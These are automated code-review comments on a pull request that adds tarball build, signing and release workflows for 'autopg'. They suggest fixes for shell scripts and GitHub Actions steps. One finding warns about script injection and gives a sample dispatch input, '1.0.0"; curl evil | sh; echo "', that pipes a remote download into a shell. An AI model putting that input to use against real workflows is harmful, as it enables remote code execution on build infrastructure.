Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

• Open a pull request for review
• Mark a draft as ready
• Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

scripts/build-binary.sh (1)

113-113: 💤 Low value

-eq 1 on env-string can hard-fail under set -e.

AUTOPG_BUILD_FALLBACK is documented as "Set to 1 to retry…", but if a user sets it to true/yes, [[ "true" -eq 1 ]] triggers a bash error and set -euo pipefail aborts before the fallback even runs. Prefer string equality or accept any non-empty/non-zero value.

♻️ Suggested tweak

-  if [[ "$FALLBACK_ENABLED" -eq 1 ]]; then
+  if [[ "$FALLBACK_ENABLED" == "1" || "$FALLBACK_ENABLED" == "true" ]]; then

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@scripts/build-binary.sh` at line 113, Replace the numeric comparison against
"$FALLBACK_ENABLED" in the if-condition (the line with if [[ "$FALLBACK_ENABLED"
-eq 1 ]];) with a safe string check that accepts common truthy values; e.g. test
for non-empty and not "0" or match against "1|true|yes" (case-insensitive) so
AUTOPG_BUILD_FALLBACK can be "1", "true", or "yes" without triggering a bash
arithmetic error under set -euo pipefail; update the condition around
FALLBACK_ENABLED accordingly (keep the same block guarded by that if).

scripts/assemble-tarball.sh (1)

96-115: 💤 Low value

Manifest JSON is built by string concatenation; consider hardening with jq (or escape paths).

printf '... "path": "%s"' "$f" produces invalid JSON if $f ever contains ", \, or a control character. Today the inputs are tightly controlled (autopg + postgres bin/share), so the practical risk is low. If you'd like to make the manifest fully robust to whatever upstream postgres tarballs ship, prefer piping through jq -R -s or building entries with jq -n.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@scripts/assemble-tarball.sh` around lines 96 - 115, The manifest assembly
currently uses printf with unescaped "%s" for "path" (inside the loop over
variable f) which can produce invalid JSON for filenames containing
quotes/backslashes/control chars; replace the manual string-concatenation in the
loop (the block that uses h=$(sha256_of "$f"), sz=..., the first flag, and the
printf that emits '{ "path": "%s", "sha256": "%s", "size": %d }') with a safe
JSON builder: produce one JSON object per file using jq (e.g. jq -n --arg path
"$f" --arg sha256 "$h" --argjson size "$sz"
'{path:$path,sha256:$sha256,size:$size}') or accumulate the records into jq -s
to emit a compressed array, ensuring you still sort with find | sort and write
the final array to "$out"; keep the sha256_of, size detection, and the overall
surrounding redirection to > "$out" intact.

Fix all unresolved CodeRabbit comments on this PR:

• Push a commit to this branch (recommended)
• Create a new PR with the fixes

.github/workflows/build-tarballs.yml (3)

140-143: ⚠️ Potential issue | 🟠 Major | ⚡ Quick win

macos-13 runner is retired — workflow will fail to schedule the darwin-x64 build.

This is unchanged from the prior review and still trips actionlint locally. Replace with a current Intel-capable image (macos-15-intel or macos-13 → macos-15-intel/macos-26-intel).

🛠️ Proposed fix

           - platform: darwin-x64
-            runner:   macos-13
+            runner:   macos-15-intel

GitHub Actions hosted runner labels available 2026 macos-15-intel

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/build-tarballs.yml around lines 140 - 143, The workflow
uses an outdated runner label: update the runner value for the darwin-x64 job
(identify the block with platform: darwin-x64 and runner: macos-13) to a current
Intel-capable macOS hosted runner such as macos-15-intel (or macos-26-intel) so
the darwin-x64 build can be scheduled and actionlint will pass; simply replace
runner: macos-13 with runner: macos-15-intel.

---

201-210: ⚠️ Potential issue | 🟡 Minor | ⚡ Quick win

Step title says 50–80MB but the check enforces 30–120MB.

Same drift flagged previously and still present. Either rename the step to match the actual sanity band or tighten the bounds.

📝 Proposed rename

-      - name: Verify size band (50–80MB)
+      - name: Verify size band (30–120MB sanity)

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/build-tarballs.yml around lines 201 - 210, The CI step
titled "Verify size band (50–80MB)" is inconsistent with the enforced bounds
(30–120MB); update either the step title or the bounds in the check so they
match. Locate the job step using the title string "Verify size band (50–80MB)"
and the variables TARBALL and SIZE_MB, then either change the title to reflect
the actual sanity band (e.g., "Verify size band (30–120MB)") or tighten the
conditional range in the shell run block to match 50–80 (adjust the numeric
literals used in the if [[ "$SIZE_MB" -lt ... || "$SIZE_MB" -gt ... ]]; then
check). Ensure the echoed error message and any documentation strings are
updated to the same bounds.

---

158-199: ⚠️ Potential issue | 🟠 Major | ⚡ Quick win

Script-injection sink — bind ${{ inputs.version }} via env: instead of interpolating into run:.

${{ inputs.version }} is templated directly into the shell at lines 162-163, 177, 194, 199, 204, 217-218. A crafted dispatch input (e.g. 1.0.0"; curl evil | sh; echo ") is substituted into the script body. Capture the input into an env-bound variable on the resolve step and reference $VERSION (and $INPUT_VERSION on the resolve step itself) downstream.

🛡️ Suggested pattern

       - name: Resolve version
         id: ver
         shell: bash
+        env:
+          INPUT_VERSION: ${{ inputs.version }}
         run: |
-          if [[ -n "${{ inputs.version }}" ]]; then
-            VERSION="${{ inputs.version }}"
+          if [[ -n "${INPUT_VERSION:-}" ]]; then
+            VERSION="${INPUT_VERSION}"
           else
             VERSION=$(node -p "require('./package.json').version")
           fi
           echo "version=${VERSION}" >> "$GITHUB_OUTPUT"

Then add env: { VERSION: ${{ steps.ver.outputs.version }}, PLATFORM: ${{ matrix.platform }} } to each subsequent step and switch the run: lines to bash scripts/build-binary.sh --platform "$PLATFORM" --version "$VERSION" (and the same for the assemble/smoke/size/upload steps).

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/build-tarballs.yml around lines 158 - 199, The workflow
interpolates untrusted inputs into run: scripts (Resolve version and subsequent
steps like "Build autopg binary", "Assemble tarball", and "Smoke real tarball"),
enabling script-injection via ${{ inputs.version }} and ${{ matrix.platform }};
capture the resolved value in the Resolve version step outputs
(steps.ver.outputs.version) and export it via env on each later step (e.g., add
env: { VERSION: ${{ steps.ver.outputs.version }}, PLATFORM: ${{ matrix.platform
}} }) then change the run invocations to use the env vars (call
scripts/build-binary.sh, scripts/assemble-tarball.sh,
tests/integration/tarball-smoke.sh with --platform "$PLATFORM" --version
"$VERSION") so no user input is directly templated into run: bodies.

tests/fixtures/cosign/cosign.key (1)

1-11: ⚡ Quick win

Document this fixture key explicitly to avoid scanner alarms and accidental reuse.

This is an encrypted Sigstore key whose password (autopg-fixture) is hardcoded in tests/integration/sign-attest-smoke.sh, so the material is effectively non-secret and only suitable for offline test signing. Secret scanners (e.g., betterleaks already flagged it here) will continue to trip on the BEGIN ENCRYPTED SIGSTORE PRIVATE KEY block, and there's nothing in-tree telling future maintainers it must never be used for real signing. Add a sibling README.md (and/or a scanner allowlist entry) in tests/fixtures/cosign/ calling out: (a) test-only purpose, (b) the fixed password, (c) the matching cosign.pub, (d) explicit "do not reuse for production" warning.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@tests/fixtures/cosign/cosign.key` around lines 1 - 11, Create a sibling
README.md next to the cosign key fixture (tests/fixtures/cosign/) that documents
the encrypted Sigstore key in cosign.key: state it is test-only/offline, include
the fixed password "autopg-fixture" (used by
tests/integration/sign-attest-smoke.sh), reference the matching public key file
name (cosign.pub), and add a clear "DO NOT USE IN PRODUCTION / DO NOT REUSE"
warning; also mention the purpose of the key (offline test signing) and suggest
adding a scanner allowlist entry for this fixture if your repo uses secret
scanners.

.github/workflows/release-publish.yml (2)

139-140: 💤 Low value

Behavior on tag-push trigger: !inputs.draft evaluates to true (because inputs.draft is undefined on push).

In GitHub expressions !null === true, so on a push: tags: v* trigger this guard reduces to channel == 'stable', meaning every stable tag push will commit-and-push .well-known/latest.json. That appears intentional (the channel pointer should advance on stable tag), but worth confirming — if you want tag pushes to also require a non-draft release, add an explicit inputs.draft != true && github.event_name == 'workflow_dispatch' clause, or compute the effective draft flag upstream.

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release-publish.yml around lines 139 - 140, The current
`if` condition on the "Update latest.json channel pointer" step uses `if: ${{
steps.ch.outputs.channel == 'stable' && !inputs.draft }}` which treats undefined
`inputs.draft` as true on tag-push events; update the condition to explicitly
require a non-draft release or that the workflow was manually dispatched.
Replace the guard with an explicit check such as ensuring `inputs.draft != true`
and/or `github.event_name == 'workflow_dispatch'` (e.g., require both
`steps.ch.outputs.channel == 'stable' && inputs.draft != true &&
github.event_name == 'workflow_dispatch'`) so tag-push triggers don't
unintentionally pass when `inputs.draft` is undefined.

---

130-137: ⚡ Quick win

gh release upload … dist/* will also try to upload build.log and build-record.tsv.

build-tarballs.yml (line 219-220) bundles dist/build.log and dist/build-record.tsv into each per-platform artifact. After the merged download those land in dist/ alongside the tarballs and get attached to the public release. That's likely not what you want for end-users (and --clobber across 5 platforms means each platform's build.log overwrites the last). Filter the upload glob to release-bound assets only.

🛠️ Proposed fix

-          if [ -d dist ] && [ "$(ls -A dist 2>/dev/null)" ]; then
-            gh release upload "v${VERSION}" \
-              --repo "${{ github.repository }}" \
-              --clobber \
-              dist/*
-          else
+          shopt -s nullglob
+          ASSETS=( dist/autopg-*.tar.gz dist/autopg-*.tar.gz.sha256 \
+                   dist/autopg-*.tar.gz.sig dist/autopg-*.tar.gz.intoto.jsonl \
+                   dist/manifest.json )
+          if [ "${`#ASSETS`[@]}" -gt 0 ]; then
+            gh release upload "v${VERSION}" \
+              --repo "${{ github.repository }}" \
+              --clobber \
+              "${ASSETS[@]}"
+          else
             echo "::warning::dist/ is empty — no assets to upload"
           fi

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release-publish.yml around lines 130 - 137, The release
upload currently uses the glob "dist/*" with gh release upload (and --clobber),
which causes non-release files like build.log and build-record.tsv (produced by
build-tarballs.yml) to be attached and overwritten across platforms; change the
gh release upload invocation to only upload explicit release asset patterns
(e.g. tarball/zip/deb package globs or a whitelist) or explicitly exclude
build.log and build-record.tsv so only the intended per-platform artifacts are
uploaded, and keep --clobber semantics aligned with the narrowed glob.

tests/integration/sign-attest-smoke.sh (1)

116-127: 💤 Low value

Manifest assertions are coupled to whitespace in the JSON layout.

grep -q '"version": "${VERSION}"' and grep -q '"platform": "${p}"' will silently fail if scripts/aggregate-manifest.sh ever emits the JSON with different spacing (e.g., compact "version":"…" or extra whitespace). Prefer a structural check via jq (already a near-universal CI dep) so the smoke test stays accurate when the formatter changes.

♻️ Suggested rewrite

-  if grep -q "\"version\": \"${VERSION}\"" "${WORK_DIR}/manifest.json"; then
+  if [[ "$(jq -r '.version' "${WORK_DIR}/manifest.json")" == "${VERSION}" ]]; then
     ok "manifest.json carries version"
   else
     bad "manifest.json version field missing"
   fi
   for p in "${PLATFORMS[@]}"; do
-    if grep -q "\"platform\": \"${p}\"" "${WORK_DIR}/manifest.json"; then
+    if jq -e --arg p "${p}" '[.. | objects | .platform? // empty] | index($p)' \
+         "${WORK_DIR}/manifest.json" >/dev/null; then
       ok "manifest.json lists ${p}"
     else
       bad "manifest.json missing ${p}"
     fi
   done

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@tests/integration/sign-attest-smoke.sh` around lines 116 - 127, Replace the
fragile grep-based JSON checks in the sign-attest-smoke.sh test with structural
jq queries: read "${WORK_DIR}/manifest.json" and use jq to compare .version to
the shell $VERSION variable and to test that each element of the shell PLATFORMS
array exists in .platforms (or the appropriate array key) before calling ok/bad;
update the blocks that currently use grep -q "\"version\": \"${VERSION}\"" and
grep -q "\"platform\": \"${p}\"" to run jq tests, keep using the ok and bad
helpers for results, and fail fast if jq returns an error so spacing/formatting
changes won't break the assertions.

.github/workflows/sign-attest.yml (1)

56-58: 💤 Low value

cancel-in-progress: false plus a 5-platform matrix can deadlock if two tag pushes race.

The concurrency group is keyed on github.ref + inputs.version, with cancel disabled. If a second tag push (or re-dispatch) lands while the first run is mid-flight on the same ref/version, the second will queue indefinitely (until the first finishes or hits its 15-min timeout). That's the safer trade-off for signing — just confirm the operational expectation and consider documenting the queue behavior so reruns don't appear "stuck."

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/sign-attest.yml around lines 56 - 58, The concurrency
block (concurrency, group, cancel-in-progress) can cause queued runs to deadlock
across the 5-platform matrix because group is keyed only on github.ref +
inputs.version; either enable cancel-in-progress: true to allow a new run to
cancel in-flight runs for the same group, or widen the group key (e.g., include
github.run_id or matrix.platform) so concurrent tag pushes don't serialize all
matrix jobs behind the first run; update the concurrency stanza accordingly and
add a short comment documenting the chosen behavior so reruns aren't mistaken
for stuck jobs.

Fix all unresolved CodeRabbit comments on this PR:

• Push a commit to this branch (recommended)
• Create a new PR with the fixes